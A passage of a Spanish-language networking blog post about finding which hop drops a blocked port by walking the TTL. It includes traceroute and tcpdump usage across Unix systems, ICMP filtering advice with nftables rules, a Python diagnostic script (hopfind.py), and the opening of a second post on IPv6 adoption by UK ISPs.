comprobación del límite de saltos después. El rechazo golpea, el paquete se descarta, y no se genera nunca ningún Time Exceeded, así que el equipo no aparece jamás y el silencio empieza en su propio número de salto. Ese es el caso de arriba. También es el caso común.\nAlgunas plataformas tratan la expiración del límite de saltos en el camino rápido, antes de evaluar la política. Ahí, el equipo responde a la sonda dirigida a él y solo descarta las sondas que apuntan más allá de él, así que aparece con normalidad y el silencio empieza un salto más tarde.\nPor qué el salto culpable no suele aparecer: la política se evalúa antes de la comprobación del límite de saltos Dentro del salto que te descarta, el orden de dos comprobaciones decide lo que ves Tu sonda llega con un salto restante en su presupuesto, y coincide con una regla que dice deny. La política primero \u0026#8212; casi todos los firewalls, y cada caso medido en esta entrada el router en el salto N sonda entra política de entrada límite de saltos reenviar descartada antes de que nada mire el límite de saltos No se genera ningún ICMP, así que este router nunca firma el descarte con su nombre. Tu recorrido se calla\u0026#160;at\u0026#160;en el salto\u0026#160;N. La expiración primero \u0026#8212; algunas plataformas la tratan en el camino rápido el router en el salto N sonda entra límite de saltos política de entrada reenviar expiró, así que ICMP 11/0 vuelve con la dirección de este router Responde por sí mismo y solo se traga las sondas que apuntan más allá. Tu recorrido se calla desde el salto\u0026#160;N+1. Por qué el salto que descarta suele quedar invisible. En casi todos los firewalls el deny se evalúa primero, así que la sonda ya se ha ido antes de que el camino de reenvío note que el límite de saltos expiró y no se genera ningún ICMP. En equipos que tratan la expiración en el camino rápido, el mismo equipo responde a la sonda dirigida a él y solo se traga las que apuntan más allá. Así que la lectura honesta de «las respuestas se paran después del salto N» es: el que descarta es el salto N+1 si tiró tu sonda antes de notar que el presupuesto se había agotado, o el salto N mismo si respondió a la sonda dirigida a él y se tragó todo lo que apuntaba más allá. Dos equipos vecinos, y el recorrido que funciona los nombra a los dos. Cita las direcciones, no el número de salto — un número de salto no significa nada para la persona que lee tu ticket, que cuenta desde otro sitio.\nEl TTL de la respuesta te dice quién respondió de verdad El reset de SMTP de arriba lo pilló el límite de saltos a la ida. Hay una segunda comprobación, independiente, disponible en cada respuesta que vuelve, y no cuesta nada.\nLos valores iniciales de TTL no están normalizados, pero en la práctica hay tres:\nParte de Emisor típico 64 Linux, macOS, los BSD, illumos, la mayoría de los hosts 255 Cisco IOS, Junos, Solaris, el tráfico propio de la mayoría del equipo de red 128 el Fisher-Price OS (Windows), que aún necesitas para leer una respuesta salida de uno de ellos Resta el TTL que recibiste del valor inmediatamente superior y tienes el número de saltos a la vuelta. Una respuesta que llega con TTL 50 salió de 64 e hizo 14 saltos. Una que llega a 250 salió de 255 e hizo 5. ping lo muestra sin que se lo pidas:\nping -c1 192.0.2.4 # ttl=50 → 14 hops away tcpdump -n -v \u0026#39;icmp\u0026#39; # -v prints the ttl of every packet it shows Dos cosas salen de ahí. Las dos son gratis.\nUna respuesta cuyo número de saltos a la vuelta no coincide con las demás respuestas del host no la envió el host. Si una respuesta de echo de un servidor vuelve desde 14 saltos y el RST en el puerto 25 vuelve desde 1 salto, una caja intermedia escribió el RST. Mismo truco que la sección de arriba, por el otro extremo, y funciona incluso cuando no puedes poner el TTL de salida.\nUna respuesta que salió de 255 vino de equipo de red, no de un servidor. Útil cuando intentas averiguar si la cosa que te rechaza es el host o el router que tiene delante.\nPara ver el campo en TCP en vez de en ICMP necesitas una captura, y el filtro merece aprenderse de memoria:\n# every hop-limit expiry coming back to you, IPv4 and IPv6 tcpdump -n -v \u0026#39;icmp[icmptype] == 11 or icmp6[icmp6type] == 3\u0026#39; # who is resetting you, and from how far tcpdump -n -v \u0026#39;tcp[tcpflags] \u0026amp; tcp-rst != 0\u0026#39; tcpdump muestra la expiración como ICMP time exceeded in-transit — la misma fórmula que usan las normas, y el mismo evento que aparece como «TTL expired in transit» en las plataformas que lo formulan así.\nEl mismo truco con las herramientas nativas, en cinco Unix Si prefieres no lanzar un script, las herramientas nativas harán lo esencial. Solo que están más en desacuerdo entre ellas de lo que esperarías. -P en particular significa tres cosas distintas según el traceroute que tengas en la mano, y una de ellas arruinará tu prueba en silencio.\nLinux (traceroute 2.1.x) macOS / FreeBSD OpenBSD NetBSD Solaris 11 Sondas TCP -T -P tcp inutilizable no no Sondas ICMP -I -I -I -I -I UDP a un puerto fijo -U -p N -e -p N no no no puerto de destino -p N (constante para TCP) -p N (se incrementa sin -e) -p N (se incrementa) -p N (se incrementa) -p N (se incrementa) qué significa -P no se usa protocolo de sonda protocolo numérico, «will not work reliably for most protocols» pone DF y sondea el MTU del camino pausa entre sondas, en segundos necesita privilegios sí, para -T y -I sí sí sí sí Cada uno de ellos necesita sockets en bruto, así que cada uno necesita privilegios — aunque macOS y los BSD suelen entregar traceroute setuid root, así que quizá no tengas que teclear sudo delante. Linux no, y Fedora tampoco, que es la mitad de la razón de ser del script de arriba.\nTres trampas en esa tabla, y he visto a las tres estropear una tarde.\nEn los BSD y macOS, -p es un puerto de base que se incrementa con cada sonda. Así que traceroute -P tcp -p 445 host prueba el 445, luego el 446, luego el 447, y para el salto 10 estás preguntando por un puerto del que nadie ha oído hablar. Necesitas -e además, que la página de manual llama modo de evasión de firewall y que en realidad solo significa «mantén el puerto quieto»:\nsudo traceroute -P tcp -e -p 445 example.net # macOS, FreeBSD En Linux, -p a secas hace lo mismo para el método UDP por defecto y necesitas -U -p para un puerto UDP constante. Para TCP, -T -p ya es constante — la página de manual es explícita: «for TCP and others specifies just the (constant) destination port to connect».\nsudo traceroute -T -p 445 example.net # Linux sudo traceroute -U -p 53 example.net # Linux, UDP/53 specifically En Solaris y NetBSD no hay forma alguna de fijar el puerto, y en Solaris -P es una pausa en segundos, así que una línea de comandos copiada de Linux se ejecutará sin error y no medirá nada de lo que pediste. Solaris tampoco tiene modo de sonda TCP. Este es el caso donde quieres el script.\nRedox es el caso aparte y merece una frase porque me espero la pregunta. Toda su caja de herramientas de red es netutils — dns, ifconfig, nc, ping, telnetd, wget. Sin traceroute, sin tcpdump, nada con lo que capturar. Si una máquina Redox es un extremo del problema, mide desde el otro extremo y apunta el recorrido hacia ella.\nmtr también merece una mención, porque hace la parte de «repetir y promediar» que las tablas de arriba te hacen hacer a mano:\nsudo mtr -T -P 445 --report --report-cycles 20 example.net Lanza eso contra el puerto que falla y otra vez contra uno que funciona, uno al lado del otro. Mismo método, salida más bonita.\nNada de esto funciona si alguien bloquea el ICMP Cada medición de esta entrada está hecha de errores ICMP que me vuelven. Bloquéalos y todo el diagnóstico se apaga — y bastante más con él.\nBloquear el ICMP en bloque todavía se trata como una postura de seguridad en algunos sitios. No lo es de forma defendible desde los años 1990. Los ataques que se imagina que detiene eran el ping of death y el smurf, ambos corregidos en las pilas en vez de en la frontera, y ambos corregidos antes de que naciera alguno de los ingenieros que aún repiten el consejo. Lo que el bloqueo total detiene ahora es el diagnóstico. Nada más.\nLa RFC 1812 no deja margen para la interpretación en este punto: Time Exceeded es un MUST, y la norma declara que su razón de ser es que traceroute depende de él. Descártalo y has roto una herramienta que el propio documento de requisitos de los routers de internet nombra como la justificación de que el mensaje exista.\nEl descubrimiento de MTU del camino es el que sale caro. Necesita que el ICMP 3/4, fragmentation needed, vuelva al emisor. Filtra eso y obtienes el defecto que todo ingeniero de red ha perseguido al menos una vez, aquel donde el handshake se completa y las transferencias pequeñas funcionan y todo lo que lleva un paquete de tamaño completo se cuelga para siempre. SSH conecta y scp se atasca. La página carga y la imagen no llega nunca. Nada en los registros. Nada que grepear.\nEn IPv6 deja de ser una cuestión de gusto. La RFC 4890 §4.3.1 lista los mensajes que un firewall no debe descartar:\nDestination Unreachable (Type 1) - All codes Packet Too Big (Type 2) Time Exceeded (Type 3) - Code 0 only Parameter Problem (Type 4) - Codes 1 and 2 only y sobre Packet Too Big es franca sobre la consecuencia: «Effectively, parts of the Internet will become inaccessible.» Los routers IPv6 no fragmentan. Si Packet Too Big no puede alcanzar al emisor, no hay vía de recuperación.\nEl control es una limitación de tasa, no un descarte. Permite los tipos 3 y 11 de entrada, cuéntalos, tópalos en algo como cien por segundo, registra lo que pase del tope, y has conservado el diagnóstico, conservado el descubrimiento de MTU del camino en marcha, y conservado hasta la última brizna de la protección que la regla total se imaginaba que aportaba en primer lugar. Restringir cuánto aceptas de una cosa es un control. Rechazarla entera y llamar a eso endurecimiento es solo negarse a que te midan.\nPara cualquiera que gestione un MSP: si la línea de tu cliente descarta los errores ICMP, le has quitado la capacidad de probar en qué red está un defecto — y la tuya con ella. La próxima vez que un defecto se siente entre dos proveedores que ambos dicen estar limpios, esa es la factura de la política.\nSalvo el echo. Ese, descártalo. Todo lo anterior habla de los errores ICMP. El echo es un animal distinto, y es la única parte del protocolo que yo quitaría del cable en la frontera.\nMira qué le exige la norma. En IPv4, la RFC 792 dice de una petición de echo que «the data received in the echo message must be returned in the echo reply message». IPv6 es más franca aún — la RFC 4443 define el campo como «zero or more octets of arbitrary data» y luego exige que «MUST be returned entirely and unmodified in the ICMPv6 Echo Reply message».\nLee eso como atacante en vez de como operador. La norma obliga a cada host del planeta a aceptar un bloque de bytes que tú eliges y a devolvértelo tal cual. Eso no es un efecto secundario. Es un canal bidireccional, de carga arbitraria, impuesto por la norma, que circula sobre un protocolo que la mayoría de los firewalls dejan pasar sin inspeccionar y que la mayoría de los sistemas de registro anotan como un contador de paquetes en vez de como contenido.\nLlevan treinta años construyendo túneles encima. Loki lo hizo en Phrack 49 en 1996. Ptunnel llevará una sesión TCP entera dentro de ping y está a un paquete de distancia desde hace dos décadas. Si tu política de salida es «bloquear todo, permitir el ICMP porque el equipo de red lo necesita», no tienes política de salida. Tienes una VPN con pasos de más, y el tráfico sale con pinta de alguien probando si internet funciona.\nLa RFC 4890 no está de acuerdo conmigo, y más vale decirlo con claridad que citar solo la mitad que me conviene. El §4.3.1 mete Echo Request y Echo Response en la misma lista de no descartar que los errores. Luego lee la justificación que da:\nFor Teredo tunneling [RFC4380] to IPv6 nodes on the site to be possible, it is essential that the connectivity checking messages are allowed through the firewall.\nLa razón que se aduce para mantener el echo abierto es que alguien necesita construir un túnel a través de tu firewall con él. Ese es mi argumento, escrito por la gente que defiende lo contrario.\nAsí que la política es estrecha, no total:\n# transit rules. permit the errors, drop the ping ip protocol icmp icmp type { destination-unreachable, time-exceeded, parameter-problem } \\ limit rate 100/second accept ip protocol icmp icmp type { echo-request, echo-reply } drop ip6 nexthdr ipv6-icmp icmpv6 type { destination-unreachable, packet-too-big, \\ time-exceeded, parameter-problem } limit rate 100/second accept ip6 nexthdr ipv6-icmp icmpv6 type { echo-request, echo-reply } drop En IPv6, no lleves ese patrón a una cadena de enlace local o de host sin conservar el descubrimiento de vecinos. Los tipos 133 a 137 — de nd-router-solicit a nd-redirect — son cómo IPv6 hace el trabajo que ARP hace en IPv4. Descártalos y el segmento deja de funcionar en cuestión de minutos, y no tendrá pinta de un defecto de firewall. Filtra el echo en la frontera, no en el cable entre un host y su propio router.\n¿Qué te cuesta eso? ping cruzando la frontera, y nada más. Todo lo de esta entrada sigue funcionando, porque ni una sola medición de aquí envía una petición de echo. hopfind.py recorre TCP y UDP y lee los errores que vuelven; traceroute -T y -U hacen lo mismo. El descubrimiento de MTU del camino necesita Packet Too Big, que es un error. El truco del TTL inverso funciona en cualquier respuesta, y un handshake TCP te dará una. Lo único que pierdes es la herramienta menos instructiva de la caja, y toda esta entrada es un argumento sobre por qué pararse en ping es el problema de partida.\nMi propia línea ya hace exactamente esto, aunque dudo que fuera a propósito. ping a mi pasarela por defecto da 100 % de pérdida, y el ICMP Time Exceeded de esa misma pasarela vuelve en 0,3 ms — como muestra cada traza de esta entrada. Echo cerrado, errores abiertos. Quien entregó ese firmware dio con la respuesta correcta, y solo me enteré de que lo había hecho al ir a mirar.\nLa misma regla, escrita una sola vez Aquí está el defecto que no esperaba encontrar en mi propia casa. Un resolver DNS público, recorrido en TCP/443 sobre las dos familias, con minutos de diferencia.\n$ python3 hopfind.py 192.0.2.53 443 --max 10 walking to 192.0.2.53 TCP/443 hop limit 1-10 1 * 2 * 3 * 4 * 5 * 6 * 7 * 8 * 9 * 10 * Verdict: nothing answered at all, not even the first hop. Nada en absoluto. Ni un solo salto. Mi propio router no informó ni siquiera de la expiración que forzosamente produjo, la misma expiración que informó en 0,3 ms para todos los demás recorridos de esta entrada — así que el rechazo se produce en el salto 1, antes incluso de que se ejecute la comprobación del límite de saltos, y el salto 1 es el mío.\nEl camino va bien, cosa que el mismo destino prueba en UDP:\n$ python3 hopfind.py 192.0.2.53 53 --proto udp --max 10 1 198.51.100.254 0.3 ms ICMP 11/0 time exceeded in-transit 2 198.51.100.133 5.4 ms ICMP 11/0 time exceeded in-transit 3 * 4 198.51.100.167 14.5 ms ICMP 11/0 time exceeded in-transit 5 203.0.113.50 6.3 ms ICMP 11/0 time exceeded in-transit 6 203.0.113.174 5.7 ms ICMP 11/0 time exceeded in-transit 7 203.0.113.201 6.4 ms ICMP 11/0 time exceeded in-transit 8 * Siete saltos de respuestas limpias hacia la misma dirección. Así que no es enrutado y no es el destino — algo en mi línea descarta el TCP hacia ese host y deja pasar el UDP.\nLuego el mismo resolver, mismo puerto, en IPv6:\n$ python3 hopfind.py 2001:db8:53::53 443 -6 --max 10 walking to 2001:db8:53::53 TCP/443 hop limit 1-10 1 2001:db8:1:ee:beef:abcd:fec0:2a30 0.5 ms ICMP 3/0 hop limit exceeded in-transit 2 2001:db8:1::15c 24.6 ms ICMP 3/0 hop limit exceeded in-transit 3 * 4 2001:db8:2:200::50 5.5 ms ICMP 3/0 hop limit exceeded in-transit 5 2001:db8:2:2::4 5.7 ms ICMP 3/0 hop limit exceeded in-transit 6 2001:db8:2:991:: 16.6 ms ICMP 3/0 hop limit exceeded in-transit 7 2001:db8:53::53 5.7 ms connected Verdict: TCP/443 is open. It answered at hop 7. Todo recto. Siete saltos, sin historia. Mismo servicio, mismo puerto, misma intención, y la regla existe en una sola familia de direcciones.\nQuien escribió esa regla la escribió para IPv4 y nunca escribió la gemela. No tengo ni idea de qué pretendía conseguir — mi suposición es algo relacionado con mantener el DNS local — pero fuera lo que fuera, lo lleva consiguiendo sobre la mitad del tráfico desde que esta línea tiene IPv6. Si estaba ahí por una razón, no funciona. Si no lo estaba, no debería estar ahí.\nEsa es la versión de cada día del problema de la doble pila, y es mucho más común que las discusiones sobre si conviene desplegar IPv6 siquiera. Dos libros de reglas. Uno mantenido.\nEl script, al completo Sin dependencias, sin instalación, nada más que la biblioteca estándar. Python 3.6 o posterior, y en Linux ningún privilegio en absoluto.\nLas dos clases son toda la historia de la portabilidad. ErrorQueue es la vía Linux: arma IP_RECVERR en el socket, y después de que la sonda falle, lee MSG_ERRQUEUE y saca la dirección del router de la estructura sock_extended_err a la que el núcleo se la adosa. RawIcmp es todo lo demás: abre un socket ICMP en bruto, lee lo que llegue, coge la dirección de origen del paquete. La primera no necesita nada, la segunda necesita root, y al resto del programa le da igual cuál le tocó.\nUn detalle merece señalarse porque es la diferencia entre una respuesta correcta y una plausible. En probe() la cola de errores se vacía antes de consultar SO_ERROR. Un error ICMP llega a un socket TCP como un simple errno — un ICMP 3/3 port unreachable llega como ECONNREFUSED, exactamente igual que un reset real — así que mirar SO_ERROR primero habría informado del reset de SMTP forjado más arriba en esta entrada como un rechazo honesto del otro extremo. Lee la cola primero y ee_origin te dice que habló un router.\n#!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;hopfind - work out how many hops away the thing blocking your port is. Walks the IPv4 TTL, or the IPv6 hop limit, up from 1 and records which router answers at each step - using the protocol and port you actually care about instead of traceroute\u0026#39;s default UDP high ports. Run it twice. Once against something that works, once against the port that does not. The hop where the answers stop is the device dropping you, and the run that works gives you its address. python3 hopfind.py example.net 445 # the port under suspicion python3 hopfind.py example.net 443 # the reference run python3 hopfind.py example.net 53 --proto udp python3 hopfind.py 2001:db8::1 443 -6 On Linux this needs no privileges at all: IP_RECVERR and IPV6_RECVERR hand the ICMP errors back on the ordinary socket that caused them. On macOS, the BSDs and Solaris the errors have to be read off a raw ICMP socket, which means root. Written for https://blogs.damiendye.uk/networking/how-far-away-is-the-firewall/ Public domain. Do what you like with it. \u0026#34;\u0026#34;\u0026#34; import argparse import errno import os import select import socket import struct import sys import time # Linux socket options. Absent from the socket module on some builds, so they # are spelled out rather than looked up. IP_RECVERR = 11 IPV6_RECVERR = 25 # ee_origin values from linux/errqueue.h. Anything else means the errno came # from the local stack rather than from a router. SO_EE_ORIGIN_ICMP = 2 SO_EE_ORIGIN_ICMP6 = 3 ICMP_V4 = { (11, 0): \u0026#34;time exceeded in-transit\u0026#34;, (11, 1): \u0026#34;fragment reassembly time exceeded\u0026#34;, (3, 0): \u0026#34;net unreachable\u0026#34;, (3, 1): \u0026#34;host unreachable\u0026#34;, (3, 2): \u0026#34;protocol unreachable\u0026#34;, (3, 3): \u0026#34;port unreachable\u0026#34;, (3, 4): \u0026#34;fragmentation needed\u0026#34;, (3, 9): \u0026#34;net administratively prohibited\u0026#34;, (3, 10): \u0026#34;host administratively prohibited\u0026#34;, (3, 13): \u0026#34;communication administratively prohibited\u0026#34;, (5, 0): \u0026#34;redirect\u0026#34;, } ICMP_V6 = { (3, 0): \u0026#34;hop limit exceeded in-transit\u0026#34;, (3, 1): \u0026#34;fragment reassembly time exceeded\u0026#34;, (1, 0): \u0026#34;no route to destination\u0026#34;, (1, 1): \u0026#34;communication administratively prohibited\u0026#34;, (1, 3): \u0026#34;address unreachable\u0026#34;, (1, 4): \u0026#34;port unreachable\u0026#34;, (2, 0): \u0026#34;packet too big\u0026#34;, } def describe(family, icmp_type, icmp_code): table = ICMP_V4 if family == socket.AF_INET else ICMP_V6 return table.get((icmp_type, icmp_code), \u0026#34;unrecognised\u0026#34;) def is_expiry(family, icmp_type): \u0026#34;\u0026#34;\u0026#34;Was this the router saying \u0026#39;your hop budget ran out here\u0026#39;?\u0026#34;\u0026#34;\u0026#34; return icmp_type == (11 if family == socket.AF_INET else 3) class ErrorQueue: \u0026#34;\u0026#34;\u0026#34;Linux. The kernel reports the ICMP error on the socket that provoked it.\u0026#34;\u0026#34;\u0026#34; def arm(self, sock, family): if family == socket.AF_INET: sock.setsockopt(socket.IPPROTO_IP, IP_RECVERR, 1) else: sock.setsockopt(socket.IPPROTO_IPV6, IPV6_RECVERR, 1) def extra_readers(self): return [] def collect(self, sock, family): try: _, ancillary, _, _ = sock.recvmsg(0, 1024, socket.MSG_ERRQUEUE) except OSError: return None wanted = (socket.IPPROTO_IP, IP_RECVERR) if family == socket.AF_INET \\ else (socket.IPPROTO_IPV6, IPV6_RECVERR) for level, kind, data in ancillary: if (level, kind) != wanted or len(data) \u0026lt; 16: continue # struct sock_extended_err, then the sockaddr of the router that # sent the error - SO_EE_OFFENDER in the kernel headers. _, origin, icmp_type, icmp_code = struct.unpack_from(\u0026#34;=IBBB\u0026#34;, data, 0) if origin not in (SO_EE_ORIGIN_ICMP, SO_EE_ORIGIN_ICMP6): return None addr = None if len(data) \u0026gt;= 24: offender_family, = struct.unpack_from(\u0026#34;=H\u0026#34;, data, 16) if offender_family == socket.AF_INET: addr = socket.inet_ntoa(data[20:24]) elif offender_family == socket.AF_INET6 and len(data) \u0026gt;= 40: addr = socket.inet_ntop(socket.AF_INET6, data[24:40]) return addr, icmp_type, icmp_code return None class RawIcmp: \u0026#34;\u0026#34;\u0026#34;macOS, the BSDs, illumos, Solaris. Read the ICMP off a raw socket, as root.\u0026#34;\u0026#34;\u0026#34; def __init__(self, family): proto = socket.IPPROTO_ICMP if family == socket.AF_INET else socket.IPPROTO_ICMPV6 self.sock = socket.socket(family, socket.SOCK_RAW, proto) self.sock.setblocking(False) def arm(self, sock, family): pass def extra_readers(self): return [self.sock] def collect(self, sock, family): try: packet, peer = self.sock.recvfrom(1500) except OSError: return None if family == socket.AF_INET: # BSD raw sockets hand back the IP header too. header_len = (packet[0] \u0026amp; 0x0F) * 4 packet = packet[header_len:] if len(packet) \u0026lt; 2: return None return peer[0], packet[0], packet[1] def probe(dest, port, proto, family, hop_limit, timeout, listener): \u0026#34;\u0026#34;\u0026#34;One probe at one hop limit. Returns (icmp, socket_state, note).\u0026#34;\u0026#34;\u0026#34; kind = socket.SOCK_STREAM if proto == \u0026#34;tcp\u0026#34; else socket.SOCK_DGRAM sock = socket.socket(family, kind) if family == socket.AF_INET: sock.setsockopt(socket.IPPROTO_IP, socket.IP_TTL, hop_limit) else: sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_UNICAST_HOPS, hop_limit) listener.arm(sock, family) sock.setblocking(False) try: if kind == socket.SOCK_DGRAM: sock.connect((dest, port)) sock.send(b\u0026#34;\\x00\u0026#34; * 32) else: try: sock.connect((dest, port)) except BlockingIOError: pass except OSError as exc: sock.close() return None, None, \u0026#34;local error: %s\u0026#34; % exc.strerror readers = [sock] + listener.extra_readers() writers = [] if kind == socket.SOCK_DGRAM else [sock] deadline = time.time() + timeout icmp = state = None while time.time() \u0026lt; deadline: ready_r, ready_w, ready_x = select.select( readers, writers, [sock], max(0.01, deadline - time.time())) if not (ready_r or ready_w or ready_x): continue # Drain the error queue first, always. An ICMP error reaches a TCP # socket as a plain errno, so SO_ERROR on its own cannot tell you # whether a router spoke or the far end did. icmp = listener.collect(sock, family) if icmp: break if ready_w: err = sock.getsockopt(socket.SOL_SOCKET, socket.SO_ERROR) if err == 0: state = \u0026#34;connected\u0026#34; elif err == errno.ECONNREFUSED: state = \u0026#34;TCP reset\u0026#34; else: state = os.strerror(err) break sock.close() if icmp or state: return icmp, state, None return None, None, \u0026#34;no reply\u0026#34; def walk(dest, port, proto, family, first, last, timeout, listener): print(\u0026#34;walking to %s %s/%d hop limit %d-%d\u0026#34; % (dest, proto.upper(), port, first, last)) answered = [] for hop in range(first, last + 1): started = time.time() icmp, state, _ = probe(dest, port, proto, family, hop, timeout, listener) rtt = (time.time() - started) * 1000 if icmp: addr, icmp_type, icmp_code = icmp print(\u0026#34; %2d %-39s %7.1f ms ICMP %d/%d %s\u0026#34; % (hop, addr or \u0026#34;?\u0026#34;, rtt, icmp_type, icmp_code, describe(family, icmp_type, icmp_code))) if is_expiry(family, icmp_type): answered.append((hop, addr)) else: return answered, hop, \u0026#34;icmp-reject\u0026#34;, addr elif state: print(\u0026#34; %2d %-39s %7.1f ms %s\u0026#34; % (hop, dest, rtt, state)) return answered, hop, state, dest else: print(\u0026#34; %2d *\u0026#34; % hop) return answered, None, \u0026#34;silent\u0026#34;, None def main(): parser = argparse.ArgumentParser(description=__doc__.splitlines()[0]) parser.add_argument(\u0026#34;host\u0026#34;) parser.add_argument(\u0026#34;port\u0026#34;, nargs=\u0026#34;?\u0026#34;, type=int, default=443) parser.add_argument(\u0026#34;--proto\u0026#34;, choices=(\u0026#34;tcp\u0026#34;, \u0026#34;udp\u0026#34;), default=\u0026#34;tcp\u0026#34;) parser.add_argument(\u0026#34;--first\u0026#34;, type=int, default=1, help=\u0026#34;hop limit to start at\u0026#34;) parser.add_argument(\u0026#34;--max\u0026#34;, type=int, default=20, help=\u0026#34;hop limit to stop at\u0026#34;) parser.add_argument(\u0026#34;--wait\u0026#34;, type=float, default=2.0, help=\u0026#34;seconds to wait per hop\u0026#34;) parser.add_argument(\u0026#34;-6\u0026#34;, dest=\u0026#34;v6\u0026#34;, action=\u0026#34;store_true\u0026#34;, help=\u0026#34;force IPv6\u0026#34;) parser.add_argument(\u0026#34;-4\u0026#34;, dest=\u0026#34;v4\u0026#34;, action=\u0026#34;store_true\u0026#34;, help=\u0026#34;force IPv4\u0026#34;) args = parser.parse_args() family = socket.AF_INET6 if args.v6 else socket.AF_INET kind = socket.SOCK_STREAM if args.proto == \u0026#34;tcp\u0026#34; else socket.SOCK_DGRAM dest = socket.getaddrinfo(args.host, args.port, family, kind)[0][4][0] if sys.platform.startswith(\u0026#34;linux\u0026#34;): listener = ErrorQueue() else: try: listener = RawIcmp(family) except PermissionError: sys.exit(\u0026#34;%s cannot report ICMP errors on a normal socket, so this \u0026#34; \u0026#34;needs a raw one. Run it as root.\u0026#34; % sys.platform) answered, stop, why, who = walk(dest, args.port, args.proto, family, args.first, args.max, args.wait, listener) what = \u0026#34;%s/%d\u0026#34; % (args.proto.upper(), args.port) print() if why == \u0026#34;connected\u0026#34;: print(\u0026#34;Verdict: %s is open. It answered at hop %d.\u0026#34; % (what, stop)) elif why == \u0026#34;icmp-reject\u0026#34;: print(\u0026#34;Verdict: %s at hop %d is refusing %s on policy, and is honest \u0026#34; \u0026#34;enough to say so.\u0026#34; % (who, stop, what)) elif why == \u0026#34;TCP reset\u0026#34;: print(\u0026#34;Verdict: a reset came back to a probe with a hop limit of %d.\u0026#34; % stop) print(\u0026#34; Nothing more than %s away can have sent it, so check the reply\u0026#34; % (\u0026#34;one hop\u0026#34; if stop == 1 else \u0026#34;%d hops\u0026#34; % stop)) print(\u0026#34; TTL before you believe the host did.\u0026#34;) elif answered: last_hop, last_addr = answered[-1] print(\u0026#34;Verdict: answers stop after hop %d (%s).\u0026#34; % (last_hop, last_addr)) print(\u0026#34; Whatever swallows %s is hop %d.\u0026#34; % (what, last_hop + 1)) print(\u0026#34; Walk a port that works and read off the address at hop %d.\u0026#34; % (last_hop + 1)) else: print(\u0026#34;Verdict: nothing answered at all, not even the first hop. Either the\u0026#34;) print(\u0026#34; first hop is the one dropping you, or the ICMP errors are being\u0026#34;) print(\u0026#34; filtered on the way back. Walk a port that works to tell those\u0026#34;) print(\u0026#34; two apart.\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Lo que esto no puede decirte El método es barato y es honesto sobre la mayoría de las cosas, pero no es un escáner de topología. Sé recto en el ticket sobre lo que de verdad mediste.\nQuíntuplas distintas pueden tomar caminos distintos. El ECMP hace hash de los puertos de origen y destino en la elección del siguiente salto, así que dos recorridos sobre dos puertos distintos no están garantizados de atravesar los mismos routers en absoluto, que es una de las dos cosas que podrían explicar que el salto 5 de arriba respondiera a un recorrido y se callara en el otro. Repite los dos recorridos. Una frontera que se mueve no está probada.\nEl MPLS esconde saltos. Un núcleo con conmutación de etiquetas puede presentarse como un solo salto, o como ninguno. Cualquier conteo a través de la red troncal de otro es una cota inferior.\nLa generación de ICMP está limitada en tasa en casi todas partes. Sondea más rápido de lo que el router quiere responder y te fabricas tus propias estrellas. hopfind.py envía una sonda por salto y espera; eso es deliberado.\nEl camino de vuelta no tiene por qué coincidir con el de ida. El número de saltos a la ida no es el número de saltos a la vuelta, y la aritmética del TTL inverso solo mide el trayecto de vuelta.\nEl anycast hace que el host en el salto N pueda no ser la misma caja dos veces. Los resolvers públicos y los CDN, en particular.\nUn handshake completado no significa que la sesión sobreviva. Un firewall con estado puede permitir el SYN y descartar lo que sigue en la inspección. Si la conexión se abre y luego muere, este no es el instrumento adecuado — ve y captura.\nHas encontrado el primer equipo que descarta, no el que alguien admitirá. En un CGN o una red de operador la dirección en el salto N+1 puede ser una de varias cajas detrás de una sola dirección. Sigue siendo lo correcto que citar, porque es un hecho sobre el camino.\nPara qué sirve en realidad Para acabar con los rebotes. Ese es todo el retorno del ejercicio.\n«El puerto 445 está bloqueado en algún sitio» es una invitación a que te devuelvan el ticket. Esto no lo es:\nTCP/445 hacia 192.0.2.4 se descarta silenciosamente en el salto 11, dirección 192.0.2.31. El salto 11 responde ICMP Time Exceeded al TCP/443 por el mismo camino en 26 ms y no responde nada en absoluto en el 445, así que el descarte es una decisión de política en ese equipo, no un defecto de enrutado. Los diez saltos que tiene delante están limpios. Reproducido cuatro veces a lo largo de veinte minutos, desde un shell sin privilegios, script adjunto.\nNadie te devuelve eso. Nombra un equipo, dice lo que hizo, dice lo que no hizo, y muestra el trabajo. Que decidan cambiarlo o no sigue siendo cosa suya. Pero la semana de ping-pong se acabó, y costó cuatro comandos.\nTodo ello salió de un campo de 8 bits que se especificó como un temporizador en 1981, no se ha usado como tal ni una sola vez, y convierte discretamente «en algún sitio» en una dirección.\nVale la pena aprender a leerlo.\n","permalink":"https://blogs.damiendye.uk/es/networking/how-far-away-is-the-firewall/","summary":"«El puerto 445 está bloqueado en algún sitio» no es un diagnóstico, y es la razón por la que los tickets de firewall rebotan entre tú y tu proveedor durante una semana. Cada router del camino te debe un ICMP Time Exceeded cuando tu presupuesto de saltos se agota, y eso convierte un tiempo de espera agotado en una distancia. Subí el TTL en mi propia línea y encontré tres defectos que no sabía que tenía: un descarte de SMB a once saltos, resets de SMTP forjados a un salto, y una regla IPv4 sin gemela IPv6.","title":"El firewall está a once saltos"},{"content":"Hay una historia que la industria británica cuenta sobre IPv6, y va así. El cambio es difícil. El equipo es viejo. Los clientes no lo piden. No hay dinero en ello. Algún día, cuando el caso de negocio dé la vuelta, nos pondremos a ello.\nCada parte de eso es una mentira que la industria se cuenta a sí misma para no tener que hacer ningún trabajo.\nIPv6 se especificó en diciembre de 1995. Yo llegué a él a través de la 6bone, el banco de pruebas experimental que lo llevaba antes de que la internet de verdad lo hiciera, y corrí tanto la pila de Linux como la pila de Microsoft Research en Windows XP para ver en qué se diferenciaban. Mi acceso vino de Hurricane Electric.\nLa 6bone se apagó el 6 de junio de 2006, así que me mudé al túnel automático 6to4, y más tarde a un túnel de Hurricane Electric — todavía gratis, y te enrutan un /48 con solo pedirlo. IPv6 nativo llegó a mi casa en 2017, cuando cambié de ISP a Zen.\nAsí que durante casi veinte años mi IPv6 vino de una empresa de tránsito estadounidense que lo regalaba, en vez de de cualquiera de los ISP británicos a los que pagaba. Hurricane Electric repartía /48 enrutados a cualquiera que quisiera uno. Mi propio proveedor me vendería una IPv4 estática por cinco libras al mes.\nLas fechas dicen el resto. El IETF mató la 6bone en 2006 y dejó obsoletos los relés anycast de 6to4 en mayo de 2015, llamando al mecanismo «unsuitable for widespread deployment and use in the Internet» — inadecuado para el despliegue y el uso generalizados en internet. Sobreviví a dos 